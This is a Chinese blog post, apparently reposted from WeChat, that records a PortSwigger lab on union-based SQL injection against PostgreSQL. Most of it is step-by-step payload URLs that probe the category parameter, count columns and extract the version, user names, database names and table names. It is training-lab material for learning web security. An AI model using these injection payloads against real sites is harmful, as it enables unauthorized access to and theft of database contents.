鉴于注入这块知识盲区空间非常大,错过了许多sql注入漏洞,
但
我们的人生,总不能一直在错过吧~
故写此系列靶场杂记,纯净版日记,记录我的sql注入成渣之旅~
靶场一 pgsql数据库union查询
https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
1.单引号报错
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle'
2.两个单引号正常返回
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle''
3.三个单引号继续报错
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle'''
4.至此可以判定为where条件注入,结合联合注入,使用oder by猜测字段数量,结尾使用两个减号注入后面的条件sql部分,注意,这里的order by的数字可以使用二分减半方式快速判定字段数量,我们先定个50。
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' order by 50--
继续减半
范围6-12,取中间值8
5.确定8个字段,开始联合注入
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select 1,2,3,4,5,6,7,8 --
返回报错,为什么呢?根据chatgpt的回复,是因为这个靶场的数据库为pgsql,pgsql是强类型数据库,它要求在进行比较操作时操作数的数据类型必须一致。相反,MySQL 在某些情况下允许混合数据类型的排序,它可能会自动将不同类型的字段进行隐式转换。根据这一特性,我们把数字加上单引号。
从上可以看出回显位置在3,那么查看一下数据库版本号。
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',version(),'4','5','6','7','8' --
成功回显,接下来就是出数据了。
6.查询pgsql数据库用户名原始语句
SELECT usename, usesuper FROM pg_user;
实战的时候,为了把所有的结果拼接在一起,可以使用string_agg函数
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(usename, ', '),'4','5','6','7','8' from pg_user--
获取当前数据库名称
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',current_database(),'4','5','6','7','8' --
获取数据库表名
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(table_name,','),'4','5','6','7','8' from
information_schema.tables --
获取所有数据库名称
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(datname,','),'4','5','6','7','8' from
pg_database --
获取指定库的所有表名(但是似乎没有任何返回,不知道什么原因)
https://0aa3003603a36cc1845b056e008f008b.web-security-academy.net/filter?category=Lifestyle' union select '1','2',string_agg(tablename,','),'4','5','6','7','8' from pg_tables WHERE schemaname = 'postgres' --
联合注入差不多到此~拜拜~
原文始发于微信公众号(森柒柒):sql注入从0到入院(P1)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论